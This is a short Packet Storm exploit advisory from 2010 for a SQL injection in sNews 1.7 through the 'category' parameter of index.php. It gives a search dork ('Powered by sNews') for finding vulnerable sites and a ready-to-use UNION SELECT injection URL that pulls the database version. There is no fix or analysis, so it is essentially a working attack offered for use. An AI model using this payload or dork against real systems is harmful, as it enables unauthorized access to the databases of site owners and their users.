sNews 1.7 SQL Injection

2010-07-26T00:00:00
ID PACKETSTORM:92147
Type packetstorm
Reporter CoBRa_21
Modified 2010-07-26T00:00:00

Description

                                        
                                            `########################################################################################  
  
sNews v1.7 (index.php?category) SQL Injection Vulnerability  
  
########################################################################################  
  
Author : CoBRa_21  
  
Author Web Page : http://www.ipbul.org  
  
Dork: "Powered by sNews"  
  
########################################################################################  
  
Sql Injection:  
  
http://localhost/[path]/index.php?category=-3 union select 0,version(),2,3,4,5,6,7,8  
  
########################################################################################  
Thanks http://e-banka.org & http://www.cyber-warrior.org  
########################################################################################  
  
`